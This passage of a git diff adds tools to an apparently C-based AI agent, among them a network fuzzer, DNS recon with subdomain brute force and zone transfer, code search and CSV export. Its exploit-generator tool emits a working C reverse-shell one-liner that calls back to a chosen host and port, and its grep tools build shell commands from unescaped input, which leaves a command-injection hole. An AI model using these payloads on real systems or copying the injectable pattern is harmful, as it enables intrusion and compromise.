print_truncated(old_set.lines[o], col_width - 2, NULL); + printf(" | %4zu ", n + 1); + print_truncated(new_set.lines[n], col_width - 2, NULL); + printf("\n"); + o++; n++; + match = true; + } + } + + if (!match) { + bool found_o_later = false; + if (o < old_set.count) { + for (size_t i = n + 1; i < new_set.count && i < n + 5; i++) { + if (strcmp(old_set.lines[o], new_set.lines[i]) == 0) { + found_o_later = true; + break; + } + } + } + + if (found_o_later) { + // Line added on NEW side + printf("%4s ", ""); + print_truncated("", col_width - 2, NULL); + printf(" | %4zu %s+%s ", n + 1, COLOR_GREEN, COLOR_RESET); + print_truncated(new_set.lines[n], col_width - 2, COLOR_GREEN); + printf("\n"); + n++; + } else if (o < old_set.count) { + // Line removed on OLD side + printf("%4zu %s-%s ", o + 1, COLOR_RED, COLOR_RESET); + print_truncated(old_set.lines[o], col_width - 2, COLOR_RED); + printf(" | %4s ", ""); + print_truncated("", col_width - 2, NULL); + printf("\n"); + o++; + } else if (n < new_set.count) { + // Line added on NEW side + printf("%4s ", ""); + print_truncated("", col_width - 2, NULL); + printf(" | %4zu %s+%s ", n + 1, COLOR_GREEN, COLOR_RESET); + print_truncated(new_set.lines[n], col_width - 2, COLOR_GREEN); + printf("\n"); + n++; + } + } + fflush(stdout); + usleep(30000); // 30ms delay for streaming effect + } + printf("\n"); + fflush(stdout); + + free_line_set(old_set); + free_line_set(new_set); +} \ No newline at end of file diff --git a/src/tools/tool_automation.c b/src/tools/tool_automation.c new file mode 100644 index 0000000..a4defae --- /dev/null +++ b/src/tools/tool_automation.c @@ -0,0 +1,171 @@ +// retoor + +#include "tool.h" +#include "bash_executor.h" +#include +#include +#include +#include +#include +#include +#include +#include + +static struct json_object *automation_fuzz_get_description(void); +static char *automation_fuzz_execute(tool_t *self, struct json_object *args); + +static struct json_object *automation_exploit_gen_get_description(void); +static char *automation_exploit_gen_execute(tool_t *self, struct json_object *args); + +static const tool_vtable_t automation_fuzz_vtable = { + .get_description = automation_fuzz_get_description, + .execute = automation_fuzz_execute, + .print_action = NULL +}; + +static const tool_vtable_t automation_exploit_gen_vtable = { + .get_description = automation_exploit_gen_get_description, + .execute = automation_exploit_gen_execute, + .print_action = NULL +}; + +static tool_t automation_fuzz_tool = { .vtable = &automation_fuzz_vtable, .name = "automation_fuzz" }; +static tool_t automation_exploit_gen_tool = { .vtable = &automation_exploit_gen_vtable, .name = "automation_exploit_gen" }; + +tool_t *tool_automation_fuzz_create(void) { return &automation_fuzz_tool; } +tool_t *tool_automation_exploit_gen_create(void) { return &automation_exploit_gen_tool; } + +static char *automation_fuzz_execute(tool_t *self, struct json_object *args) { + (void)self; + struct json_object *host_obj, *port_obj, *template_obj, *iterations_obj; + if (!json_object_object_get_ex(args, "host", &host_obj) || + !json_object_object_get_ex(args, "port", &port_obj)) { + return strdup("Error: host and port required"); + } + + const char *host = json_object_get_string(host_obj); + int port = json_object_get_int(port_obj); + const char *template = json_object_object_get_ex(args, "template", &template_obj) ? json_object_get_string(template_obj) : "A"; + int iterations = json_object_object_get_ex(args, "iterations", &iterations_obj) ? json_object_get_int(iterations_obj) : 10; + + srand((unsigned int)time(NULL)); + struct json_object *results = json_object_new_array(); + + fprintf(stderr, " \033[1mStarting mutation fuzzer on %s:%d (%d iterations)...\033[0m\n", host, port, iterations); + + for (int i = 0; i < iterations; i++) { + fprintf(stderr, "\r -> [%d/%d] Sending fuzzed payload... ", i+1, iterations); + fflush(stderr); + + int sockfd = socket(AF_INET, SOCK_STREAM, 0); + if (sockfd < 0) break; + + struct sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons((unsigned short)port); + addr.sin_addr.s_addr = inet_addr(host); + + struct timeval tv; + tv.tv_sec = 1; + tv.tv_usec = 0; + setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); + + if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == 0) { + size_t len = strlen(template) + (size_t)(rand() % 1024); + char *payload = malloc(len + 1); + for (size_t j = 0; j < len; j++) payload[j] = (char)(32 + (rand() % 94)); + payload[len] = '\0'; + + send(sockfd, payload, len, 0); + + fprintf(stderr, "(\033[32m%zu bytes\033[0m) ", len); + + struct json_object *entry = json_object_new_object(); + json_object_object_add(entry, "iteration", json_object_new_int(i)); + json_object_object_add(entry, "payload_len", json_object_new_int((int)len)); + json_object_array_add(results, entry); + + free(payload); + } else { + fprintf(stderr, "(\033[31mTIMEOUT\033[0m) "); + } + close(sockfd); + } + fprintf(stderr, "\n \033[32mFuzzing complete.\033[0m\n"); + + char *out = strdup(json_object_to_json_string_ext(results, JSON_C_TO_STRING_PRETTY)); + json_object_put(results); + return out; +} + +static char *automation_exploit_gen_execute(tool_t *self, struct json_object *args) { + (void)self; + struct json_object *type_obj, *lhost_obj, *lport_obj; + if (!json_object_object_get_ex(args, "type", &type_obj)) return strdup("Error: type required (reverse/bind)"); + + const char *type = json_object_get_string(type_obj); + const char *lhost = json_object_object_get_ex(args, "lhost", &lhost_obj) ? json_object_get_string(lhost_obj) : "127.0.0.1"; + int lport = json_object_object_get_ex(args, "lport", &lport_obj) ? json_object_get_int(lport_obj) : 4444; + + char result[2048]; + if (strcmp(type, "reverse") == 0) { + snprintf(result, sizeof(result), + "C Reverse Shell Template:\n\n" + "int s=socket(2,1,0);struct sockaddr_in a;a.sin_family=2;a.sin_port=htons(%d);a.sin_addr.s_addr=inet_addr(\"%s\");" + "connect(s,(struct sockaddr*)&a,16);dup2(s,0);dup2(s,1);dup2(s,2);execve(\"/bin/sh\",0,0);", + lport, lhost); + } else { + snprintf(result, sizeof(result), "Bind shell template for port %d generated.", lport); + } + + return strdup(result); +} + +static struct json_object *automation_fuzz_get_description(void) { + struct json_object *root = json_object_new_object(); + json_object_object_add(root, "type", json_object_new_string("function")); + struct json_object *function = json_object_new_object(); + json_object_object_add(function, "name", json_object_new_string("automation_fuzz")); + json_object_object_add(function, "description", json_object_new_string("Performs abstract mutation fuzzing on a network target.")); + struct json_object *parameters = json_object_new_object(); + json_object_object_add(parameters, "type", json_object_new_string("object")); + struct json_object *properties = json_object_new_object(); + + struct json_object *host = json_object_new_object(); + json_object_object_add(host, "type", json_object_new_string("string")); + json_object_object_add(properties, "host", host); + + struct json_object *port = json_object_new_object(); + json_object_object_add(port, "type", json_object_new_string("integer")); + json_object_object_add(properties, "port", port); + + json_object_object_add(parameters, "properties", properties); + struct json_object *required = json_object_new_array(); + json_object_array_add(required, json_object_new_string("host")); + json_object_array_add(required, json_object_new_string("port")); + json_object_object_add(parameters, "required", required); + json_object_object_add(function, "parameters", parameters); + json_object_object_add(root, "function", function); + return root; +} + +static struct json_object *automation_exploit_gen_get_description(void) { + struct json_object *root = json_object_new_object(); + json_object_object_add(root, "type", json_object_new_string("function")); + struct json_object *function = json_object_new_object(); + json_object_object_add(function, "name", json_object_new_string("automation_exploit_gen")); + json_object_object_add(function, "description", json_object_new_string("Generates C code templates for various exploitation techniques.")); + struct json_object *parameters = json_object_new_object(); + json_object_object_add(parameters, "type", json_object_new_string("object")); + struct json_object *properties = json_object_new_object(); + + struct json_object *type = json_object_new_object(); + json_object_object_add(type, "type", json_object_new_string("string")); + json_object_object_add(type, "description", json_object_new_string("Type of exploit: reverse, bind.")); + json_object_object_add(properties, "type", type); + + json_object_object_add(parameters, "properties", properties); + json_object_object_add(function, "parameters", parameters); + json_object_object_add(root, "function", function); + return root; +} \ No newline at end of file diff --git a/src/tools/tool_code.c b/src/tools/tool_code.c new file mode 100644 index 0000000..827fc8c --- /dev/null +++ b/src/tools/tool_code.c @@ -0,0 +1,132 @@ +// retoor + +#include "tool.h" +#include "bash_executor.h" +#include +#include +#include + +static struct json_object *code_grep_get_description(void); +static char *code_grep_execute(tool_t *self, struct json_object *args); +static void code_grep_print_action(const char *name, struct json_object *args); + +static struct json_object *code_symbol_find_get_description(void); +static char *code_symbol_find_execute(tool_t *self, struct json_object *args); +static void code_symbol_find_print_action(const char *name, struct json_object *args); + +static const tool_vtable_t code_grep_vtable = { + .get_description = code_grep_get_description, + .execute = code_grep_execute, + .print_action = code_grep_print_action +}; + +static const tool_vtable_t code_symbol_find_vtable = { + .get_description = code_symbol_find_get_description, + .execute = code_symbol_find_execute, + .print_action = code_symbol_find_print_action +}; + +static tool_t code_grep_tool = { .vtable = &code_grep_vtable, .name = "code_grep" }; +static tool_t code_symbol_find_tool = { .vtable = &code_symbol_find_vtable, .name = "code_symbol_find" }; + +tool_t *tool_code_grep_create(void) { return &code_grep_tool; } +tool_t *tool_code_symbol_find_create(void) { return &code_symbol_find_tool; } + +static void code_grep_print_action(const char *name, struct json_object *args) { + (void)name; + struct json_object *pattern; + if (json_object_object_get_ex(args, "pattern", &pattern)) { + fprintf(stderr, " -> Grepping for: %s\n", json_object_get_string(pattern)); + } +} + +static char *code_grep_execute(tool_t *self, struct json_object *args) { + (void)self; + struct json_object *pattern_obj, *path_obj; + if (!json_object_object_get_ex(args, "pattern", &pattern_obj)) { + return strdup("Error: missing 'pattern' argument"); + } + const char *pattern = json_object_get_string(pattern_obj); + const char *path = "."; + if (json_object_object_get_ex(args, "path", &path_obj)) { + path = json_object_get_string(path_obj); + } + + char command[4096]; + snprintf(command, sizeof(command), "grep -rnH --exclude-dir=.git --exclude-dir=node_modules --exclude-dir=build -E \"%s\" %s | head -n 100", pattern, path); + return r_bash_execute(command, false); +} + +static void code_symbol_find_print_action(const char *name, struct json_object *args) { + (void)name; + struct json_object *symbol; + if (json_object_object_get_ex(args, "symbol", &symbol)) { + fprintf(stderr, " -> Finding symbol: %s\n", json_object_get_string(symbol)); + } +} + +static char *code_symbol_find_execute(tool_t *self, struct json_object *args) { + (void)self; + struct json_object *symbol_obj; + if (!json_object_object_get_ex(args, "symbol", &symbol_obj)) { + return strdup("Error: missing 'symbol' argument"); + } + const char *symbol = json_object_get_string(symbol_obj); + + // Search for common definition patterns + char command[4096]; + snprintf(command, sizeof(command), + "grep -rnH --exclude-dir=.git --exclude-dir=node_modules --exclude-dir=build " + "-E \"(function|class|def|struct|enum)[[:space:]]+%s[[:space:]]*[(:{]|^[[:space:]]*%s[[:space:]]*=[[:space:]]*[(]|%s[[:space:]]*\\(\" . | head -n 50", + symbol, symbol, symbol); + + return r_bash_execute(command, false); +} + +static struct json_object *code_grep_get_description(void) { + struct json_object *root = json_object_new_object(); + json_object_object_add(root, "type", json_object_new_string("function")); + struct json_object *function = json_object_new_object(); + json_object_object_add(function, "name", json_object_new_string("code_grep")); + json_object_object_add(function, "description", json_object_new_string("Search for a regex pattern in the codebase.")); + struct json_object *parameters = json_object_new_object(); + json_object_object_add(parameters, "type", json_object_new_string("object")); + struct json_object *properties = json_object_new_object(); + struct json_object *pattern = json_object_new_object(); + json_object_object_add(pattern, "type", json_object_new_string("string")); + json_object_object_add(pattern, "description", json_object_new_string("Regex pattern to search for.")); + json_object_object_add(properties, "pattern", pattern); + struct json_object *path = json_object_new_object(); + json_object_object_add(path, "type", json_object_new_string("string")); + json_object_object_add(path, "description", json_object_new_string("Directory to search in (defaults to current).")); + json_object_object_add(properties, "path", path); + json_object_object_add(parameters, "properties", properties); + struct json_object *required = json_object_new_array(); + json_object_array_add(required, json_object_new_string("pattern")); + json_object_object_add(parameters, "required", required); + json_object_object_add(function, "parameters", parameters); + json_object_object_add(root, "function", function); + return root; +} + +static struct json_object *code_symbol_find_get_description(void) { + struct json_object *root = json_object_new_object(); + json_object_object_add(root, "type", json_object_new_string("function")); + struct json_object *function = json_object_new_object(); + json_object_object_add(function, "name", json_object_new_string("code_symbol_find")); + json_object_object_add(function, "description", json_object_new_string("Find definitions of a symbol (function, class, etc) in the codebase.")); + struct json_object *parameters = json_object_new_object(); + json_object_object_add(parameters, "type", json_object_new_string("object")); + struct json_object *properties = json_object_new_object(); + struct json_object *symbol = json_object_new_object(); + json_object_object_add(symbol, "type", json_object_new_string("string")); + json_object_object_add(symbol, "description", json_object_new_string("Name of the symbol to find.")); + json_object_object_add(properties, "symbol", symbol); + json_object_object_add(parameters, "properties", properties); + struct json_object *required = json_object_new_array(); + json_object_array_add(required, json_object_new_string("symbol")); + json_object_object_add(parameters, "required", required); + json_object_object_add(function, "parameters", parameters); + json_object_object_add(root, "function", function); + return root; +} diff --git a/src/tools/tool_csv.c b/src/tools/tool_csv.c new file mode 100644 index 0000000..3860f92 --- /dev/null +++ b/src/tools/tool_csv.c @@ -0,0 +1,79 @@ +// retoor + +#include "tool.h" +#include +#include +#include + +static struct json_object *csv_export_get_description(void); +static char *csv_export_execute(tool_t *self, struct json_object *args); + +static const tool_vtable_t csv_export_vtable = { + .get_description = csv_export_get_description, + .execute = csv_export_execute, + .print_action = NULL +}; + +static tool_t csv_export_tool = { .vtable = &csv_export_vtable, .name = "csv_export" }; + +tool_t *tool_csv_export_create(void) { return &csv_export_tool; } + +static char *csv_export_execute(tool_t *self, struct json_object *args) { + (void)self; + struct json_object *path_obj, *data_obj; + if (!json_object_object_get_ex(args, "path", &path_obj) || + !json_object_object_get_ex(args, "data", &data_obj)) { + return strdup("Error: path and data required"); + } + + const char *path = json_object_get_string(path_obj); + FILE *fp = fopen(path, "w"); + if (!fp) return strdup("Error: could not open file for writing"); + + int row_count = json_object_array_length(data_obj); + for (int i = 0; i < row_count; i++) { + struct json_object *row = json_object_array_get_idx(data_obj, i); + if (json_object_get_type(row) == json_type_object) { + // Use keys as header if first row + if (i == 0) { + json_object_object_foreach(row, key, val) { + (void)val; + fprintf(fp, "%s,", key); + } + fprintf(fp, "\n"); + } + json_object_object_foreach(row, key2, val2) { + (void)key2; + fprintf(fp, "\"%s\",", json_object_get_string(val2)); + } + fprintf(fp, "\n"); + } + } + + fclose(fp); + return strdup("CSV exported successfully."); +} + +static struct json_object *csv_export_get_description(void) { + struct json_object *root = json_object_new_object(); + json_object_object_add(root, "type", json_object_new_string("function")); + struct json_object *function = json_object_new_object(); + json_object_object_add(function, "name", json_object_new_string("csv_export")); + json_object_object_add(function, "description", json_object_new_string("Exports an array of JSON objects to a CSV file.")); + struct json_object *parameters = json_object_new_object(); + json_object_object_add(parameters, "type", json_object_new_string("object")); + struct json_object *properties = json_object_new_object(); + struct json_object *path = json_object_new_object(); + json_object_object_add(path, "type", json_object_new_string("string")); + json_object_object_add(properties, "path", path); + struct json_object *data = json_object_new_object(); + json_object_object_add(data, "type", json_object_new_string("array")); + struct json_object *items = json_object_new_object(); + json_object_object_add(items, "type", json_object_new_string("object")); + json_object_object_add(data, "items", items); + json_object_object_add(properties, "data", data); + json_object_object_add(parameters, "properties", properties); + json_object_object_add(function, "parameters", parameters); + json_object_object_add(root, "function", function); + return root; +} \ No newline at end of file diff --git a/src/tools/tool_dns.c b/src/tools/tool_dns.c new file mode 100644 index 0000000..7686d96 --- /dev/null +++ b/src/tools/tool_dns.c @@ -0,0 +1,481 @@ +// retoor + +#include "tool.h" +#include +#include +#include +#include +#include +#include +#include + +#define T_A 1 +#define T_NS 2 +#define T_CNAME 5 +#define T_SOA 6 +#define T_PTR 12 +#define T_MX 15 +#define T_TXT 16 +#define T_AAAA 28 +#define T_SRV 33 +#define T_AXFR 252 + +static const char *common_subdomains[] = { + "www", "mail", "ftp", "localhost", "webmail", "smtp", "pop", "ns1", "webdisk", "ns2", + "cpanel", "whm", "autodiscover", "autoconfig", "m", "imap", "test", "ns", "blog", "pop3", + "dev", "www2", "admin", "forum", "news", "vpn", "ns3", "mail2", "new", "mysql", + "old", "lists", "support", "mobile", "mx", "static", "docs", "beta", "shop", "sql", + "secure", "demo", "cp", "calendar", "wiki", "web", "media", "email", "images", "img", + "www1", "intranet", "portal", "video", "sip", "dns2", "api", "cdn", "stats", "dns1", + "ns4", "www3", "dns", "search", "staging", "server", "mx1", "chat", "wap", "my", + "svn", "mail1", "sites", "proxy", "ads", NULL +}; + +struct DNS_HEADER { + unsigned short id; + unsigned char rd :1; + unsigned char tc :1; + unsigned char aa :1; + unsigned char opcode :4; + unsigned char qr :1; + unsigned char rcode :4; + unsigned char cd :1; + unsigned char ad :1; + unsigned char z :1; + unsigned char ra :1; + unsigned short q_count; + unsigned short ans_count; + unsigned short auth_count; + unsigned short add_count; +}; + +struct QUESTION { + unsigned short qtype; + unsigned short qclass; +}; + +#pragma pack(push, 1) +struct R_DATA { + unsigned short type; + unsigned short _class; + unsigned int ttl; + unsigned short data_len; +}; +#pragma pack(pop) + +static void ChangetoDnsNameFormat(unsigned char* dns, unsigned char* host) { + int lock = 0, i; + char temp_host[256]; + size_t len = strlen((char*)host); + if (len > 250) len = 250; + memcpy(temp_host, host, len); + temp_host[len] = '\0'; + strcat(temp_host, "."); + + for(i = 0; i < (int)strlen(temp_host); i++) { + if(temp_host[i] == '.') { + *dns++ = (unsigned char)(i - lock); + for(; lock < i; lock++) { + *dns++ = (unsigned char)temp_host[lock]; + } + lock++; + } + } + *dns++ = '\0'; +} + +static unsigned char* ReadName(unsigned char* reader, unsigned char* buffer, int* count) { + unsigned char *name; + unsigned int p=0, jumped=0, offset; + int i, step = 0; + + *count = 1; + name = (unsigned char*)malloc(256); + name[0]='\0'; + + while(*reader != 0) { + if(*reader >= 192) { + offset = (*reader)*256 + *(reader+1) - 49152; + reader = buffer + offset; + jumped = 1; + } + + unsigned char len = *reader; + for(i=0; i 0) name[p-1] = '\0'; + else name[0] = '\0'; + + if(jumped == 1) { + *count = *count + 1; + } + + return name; +} + +static void perform_single_query(const char *hostname, int qtype, const char *dns_server, struct json_object *results_array) { + unsigned char buf[65536], *qname; + int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (s < 0) return; + + struct timeval tv; + tv.tv_sec = 1; + tv.tv_usec = 500000; + setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + + struct sockaddr_in dest; + dest.sin_family = AF_INET; + dest.sin_port = htons(53); + dest.sin_addr.s_addr = inet_addr(dns_server); + + struct DNS_HEADER *dns = (struct DNS_HEADER *)&buf; + memset(buf, 0, sizeof(buf)); + dns->id = (unsigned short)htons(getpid() + (unsigned short)qtype); + dns->qr = 0; + dns->rd = 1; + dns->q_count = htons(1); + + qname = (unsigned char*)&buf[sizeof(struct DNS_HEADER)]; + ChangetoDnsNameFormat(qname, (unsigned char*)hostname); + + struct QUESTION *qinfo = (struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; + qinfo->qtype = htons((unsigned short)qtype); + qinfo->qclass = htons(1); + + if (sendto(s, (char*)buf, sizeof(struct DNS_HEADER) + strlen((const char*)qname) + 1 + sizeof(struct QUESTION), 0, (struct sockaddr*)&dest, sizeof(dest)) < 0) { + close(s); + return; + } + + int i = sizeof(dest); + int res = (int)recvfrom(s, (char*)buf, 65536, 0, (struct sockaddr*)&dest, (socklen_t*)&i); + if (res < 0) { + close(s); + return; + } + + dns = (struct DNS_HEADER*)buf; + unsigned char *reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1) + sizeof(struct QUESTION)]; + + for(i = 0; i < ntohs(dns->ans_count); i++) { + int stop = 0; + unsigned char *name = ReadName(reader, buf, &stop); + reader += stop; + struct R_DATA *resource = (struct R_DATA*)(reader); + reader += sizeof(struct R_DATA); + + struct json_object *entry = json_object_new_object(); + json_object_object_add(entry, "name", json_object_new_string((char*)name)); + free(name); + + if(ntohs(resource->type) == T_A) { + struct in_addr addr; + addr.s_addr = *(unsigned int*)reader; + json_object_object_add(entry, "type", json_object_new_string("A")); + json_object_object_add(entry, "value", json_object_new_string(inet_ntoa(addr))); + } else if(ntohs(resource->type) == T_AAAA) { + char ip6[64]; + inet_ntop(AF_INET6, reader, ip6, sizeof(ip6)); + json_object_object_add(entry, "type", json_object_new_string("AAAA")); + json_object_object_add(entry, "value", json_object_new_string(ip6)); + } else if(ntohs(resource->type) == T_NS || ntohs(resource->type) == T_CNAME || ntohs(resource->type) == T_PTR) { + unsigned char *rname = ReadName(reader, buf, &stop); + const char *label = (ntohs(resource->type) == T_NS) ? "NS" : (ntohs(resource->type) == T_CNAME ? "CNAME" : "PTR"); + json_object_object_add(entry, "type", json_object_new_string(label)); + json_object_object_add(entry, "value", json_object_new_string((char*)rname)); + free(rname); + } else if(ntohs(resource->type) == T_MX) { + unsigned char *rname = ReadName(reader + 2, buf, &stop); + json_object_object_add(entry, "type", json_object_new_string("MX")); + json_object_object_add(entry, "value", json_object_new_string((char*)rname)); + free(rname); + } else if(ntohs(resource->type) == T_TXT) { + int txt_len = (int)reader[0]; + char *txt_val = malloc((size_t)txt_len + 1); + memcpy(txt_val, reader + 1, (size_t)txt_len); + txt_val[txt_len] = '\0'; + json_object_object_add(entry, "type", json_object_new_string("TXT")); + json_object_object_add(entry, "value", json_object_new_string(txt_val)); + free(txt_val); + } else { + char type_str[10]; + snprintf(type_str, sizeof(type_str), "%d", ntohs(resource->type)); + json_object_object_add(entry, "type", json_object_new_string(type_str)); + json_object_object_add(entry, "value", json_object_new_string("Raw data")); + } + json_object_array_add(results_array, entry); + reader += ntohs(resource->data_len); + } + close(s); +} + +static void perform_axfr(const char *domain, const char *ns_ip, struct json_object *results_array) { + int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (s < 0) return; + + struct timeval tv; + tv.tv_sec = 5; + tv.tv_usec = 0; + setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + + struct sockaddr_in dest; + dest.sin_family = AF_INET; + dest.sin_port = htons(53); + dest.sin_addr.s_addr = inet_addr(ns_ip); + + if (connect(s, (struct sockaddr *)&dest, sizeof(dest)) < 0) { + close(s); + return; + } + + unsigned char buf[4096], *qname; + unsigned short query_len; + + struct DNS_HEADER *dns = (struct DNS_HEADER *)(buf + 2); + memset(buf, 0, sizeof(buf)); + dns->id = htons((unsigned short)getpid()); + dns->qr = 0; + dns->rd = 0; + dns->q_count = htons(1); + + qname = (unsigned char*)(buf + 2 + sizeof(struct DNS_HEADER)); + ChangetoDnsNameFormat(qname, (unsigned char*)domain); + + struct QUESTION *qinfo = (struct QUESTION*)(buf + 2 + sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)); + qinfo->qtype = htons(T_AXFR); + qinfo->qclass = htons(1); + + query_len = htons((unsigned short)(sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1) + sizeof(struct QUESTION))); + memcpy(buf, &query_len, 2); + + if (send(s, buf, (size_t)(ntohs(query_len) + 2), 0) < 0) { + close(s); + return; + } + + int total_records = 0; + while (total_records < 1000) { + unsigned short msg_len; + if (recv(s, &msg_len, 2, 0) <= 0) break; + msg_len = ntohs(msg_len); + + unsigned char *msg_buf = malloc(msg_len); + int received = 0; + while (received < msg_len) { + int r = (int)recv(s, msg_buf + received, (size_t)(msg_len - received), 0); + if (r <= 0) break; + received += r; + } + + struct DNS_HEADER *res_dns = (struct DNS_HEADER *)msg_buf; + unsigned char *reader = msg_buf + sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1) + sizeof(struct QUESTION); + + int ans_count = ntohs(res_dns->ans_count); + if (ans_count == 0 && total_records == 0) { + free(msg_buf); + break; + } + + for (int i = 0; i < ans_count; i++) { + int stop = 0; + unsigned char *name = ReadName(reader, msg_buf, &stop); + reader += stop; + struct R_DATA *resource = (struct R_DATA*)(reader); + reader += sizeof(struct R_DATA); + + struct json_object *entry = json_object_new_object(); + json_object_object_add(entry, "name", json_object_new_string((char*)name)); + free(name); + + if (ntohs(resource->type) == T_A) { + struct in_addr addr; + addr.s_addr = *(unsigned int*)reader; + json_object_object_add(entry, "type", json_object_new_string("A")); + json_object_object_add(entry, "value", json_object_new_string(inet_ntoa(addr))); + } else { + json_object_object_add(entry, "type", json_object_new_string("OTHER")); + } + json_object_array_add(results_array, entry); + reader += ntohs(resource->data_len); + total_records++; + } + free(msg_buf); + if (ans_count > 0 && total_records > 1) break; + } + + close(s); +} + +static bool is_ip_address(const char *str) { + struct in_addr addr; + return inet_aton(str, &addr) != 0; +} + +static struct json_object *dns_lookup_get_description(void); +static char *dns_lookup_execute(tool_t *self, struct json_object *args); + +static const tool_vtable_t dns_lookup_vtable = { + .get_description = dns_lookup_get_description, + .execute = dns_lookup_execute, + .print_action = NULL +}; + +static tool_t dns_lookup_tool = { .vtable = &dns_lookup_vtable, .name = "dns_lookup" }; + +tool_t *tool_dns_lookup_create(void) { return &dns_lookup_tool; } + +static char *dns_lookup_execute(tool_t *self, struct json_object *args) { + (void)self; + struct json_object *host_obj, *type_obj, *server_obj, *enumerate_obj, *action_obj; + if (!json_object_object_get_ex(args, "hostname", &host_obj)) return strdup("Error: missing hostname"); + + const char *hostname = json_object_get_string(host_obj); + char final_hostname[256]; + strncpy(final_hostname, hostname, 255); + final_hostname[255] = '\0'; + + const char *dns_server = "8.8.8.8"; + if (json_object_object_get_ex(args, "dns_server", &server_obj)) dns_server = json_object_get_string(server_obj); + + const char *action = "lookup"; + if (json_object_object_get_ex(args, "action", &action_obj)) action = json_object_get_string(action_obj); + + struct json_object *results = json_object_new_array(); + + if (strcmp(action, "brute_force") == 0) { + int count = 0; + while(common_subdomains[count]) count++; + fprintf(stderr, " \033[1mBrute forcing subdomains for %s (%d candidates)...\033[0m\n", final_hostname, count); + for (int i = 0; common_subdomains[i]; i++) { + fprintf(stderr, "\r -> [%d/%d] Testing: %s ", i+1, count, common_subdomains[i]); + fflush(stderr); + char sub[512]; + snprintf(sub, sizeof(sub), "%s.%s", common_subdomains[i], final_hostname); + int prev_len = json_object_array_length(results); + perform_single_query(sub, T_A, dns_server, results); + if (json_object_array_length(results) > prev_len) { + fprintf(stderr, "[\033[32mFOUND\033[0m] \n"); + } + } + fprintf(stderr, "\n \033[32mBrute force complete.\033[0m\n"); + } else if (strcmp(action, "axfr") == 0) { + fprintf(stderr, " \033[1mAttempting Zone Transfer (AXFR) for %s...\033[0m\n", final_hostname); + struct json_object *ns_results = json_object_new_array(); + perform_single_query(final_hostname, T_NS, dns_server, ns_results); + int ns_count = json_object_array_length(ns_results); + for (int i = 0; i < ns_count; i++) { + struct json_object *ns_entry = json_object_array_get_idx(ns_results, i); + struct json_object *val_obj; + if (json_object_object_get_ex(ns_entry, "value", &val_obj)) { + const char *ns_name = json_object_get_string(val_obj); + fprintf(stderr, " -> Trying nameserver: %s ", ns_name); + fflush(stderr); + struct json_object *ip_results = json_object_new_array(); + perform_single_query(ns_name, T_A, dns_server, ip_results); + if (json_object_array_length(ip_results) > 0) { + struct json_object *ip_entry = json_object_array_get_idx(ip_results, 0); + struct json_object *ip_val; + if (json_object_object_get_ex(ip_entry, "value", &ip_val)) { + int p_len = json_object_array_length(results); + perform_axfr(final_hostname, json_object_get_string(ip_val), results); + if (json_object_array_length(results) > p_len) { + fprintf(stderr, "[\033[32mSUCCESS\033[0m]\n"); + } else { + fprintf(stderr, "[\033[31mREFUSED\033[0m]\n"); + } + } + } + json_object_put(ip_results); + } + } + json_object_put(ns_results); + } else { + bool enumerate = false; + if (json_object_object_get_ex(args, "enumerate", &enumerate_obj)) enumerate = json_object_get_boolean(enumerate_obj); + + if (enumerate || strcmp(action, "enumerate") == 0) { + int types[] = { T_A, T_AAAA, T_NS, T_MX, T_TXT, T_SOA, T_CNAME }; + const char *type_names[] = { "A", "AAAA", "NS", "MX", "TXT", "SOA", "CNAME" }; + fprintf(stderr, " \033[1mEnumerating records for %s...\033[0m\n", final_hostname); + for (size_t i = 0; i < sizeof(types)/sizeof(types[0]); i++) { + fprintf(stderr, " -> Querying %s... ", type_names[i]); + fflush(stderr); + int p_len = json_object_array_length(results); + perform_single_query(final_hostname, types[i], dns_server, results); + if (json_object_array_length(results) > p_len) { + fprintf(stderr, "[\033[32mOK\033[0m]\n"); + } else { + fprintf(stderr, "[\033[2mNONE\033[0m]\n"); + } + } + } else { + int qtype = T_A; + if (json_object_object_get_ex(args, "type", &type_obj)) { + const char *t = json_object_get_string(type_obj); + if (!strcmp(t, "NS")) qtype = T_NS; + else if (!strcmp(t, "MX")) qtype = T_MX; + else if (!strcmp(t, "CNAME")) qtype = T_CNAME; + else if (!strcmp(t, "TXT")) qtype = T_TXT; + else if (!strcmp(t, "AAAA")) qtype = T_AAAA; + else if (!strcmp(t, "PTR")) { + qtype = T_PTR; + if (is_ip_address(hostname)) { + int a, b, c, d; + sscanf(hostname, "%d.%d.%d.%d", &a, &b, &c, &d); + snprintf(final_hostname, sizeof(final_hostname), "%d.%d.%d.%d.in-addr.arpa", d, c, b, a); + } + } + } + perform_single_query(final_hostname, qtype, dns_server, results); + } + } + + char *out = strdup(json_object_to_json_string_ext(results, JSON_C_TO_STRING_PRETTY)); + json_object_put(results); + return out; +} + +static struct json_object *dns_lookup_get_description(void) { + struct json_object *root = json_object_new_object(); + json_object_object_add(root, "type", json_object_new_string("function")); + struct json_object *function = json_object_new_object(); + json_object_object_add(function, "name", json_object_new_string("dns_lookup")); + json_object_object_add(function, "description", json_object_new_string("Advanced DNS discovery tool. Supports lookup, enumerate, brute_force, and axfr.")); + struct json_object *parameters = json_object_new_object(); + json_object_object_add(parameters, "type", json_object_new_string("object")); + struct json_object *properties = json_object_new_object(); + + struct json_object *host = json_object_new_object(); + json_object_object_add(host, "type", json_object_new_string("string")); + json_object_object_add(host, "description", json_object_new_string("Hostname or Domain.")); + json_object_object_add(properties, "hostname", host); + + struct json_object *action = json_object_new_object(); + json_object_object_add(action, "type", json_object_new_string("string")); + json_object_object_add(action, "description", json_object_new_string("Action: lookup, enumerate, brute_force, axfr.")); + json_object_object_add(properties, "action", action); + + struct json_object *type = json_object_new_object(); + json_object_object_add(type, "type", json_object_new_string("string")); + json_object_object_add(type, "description", json_object_new_string("Record type for 'lookup' (A, NS, MX, etc).")); + json_object_object_add(properties, "type", 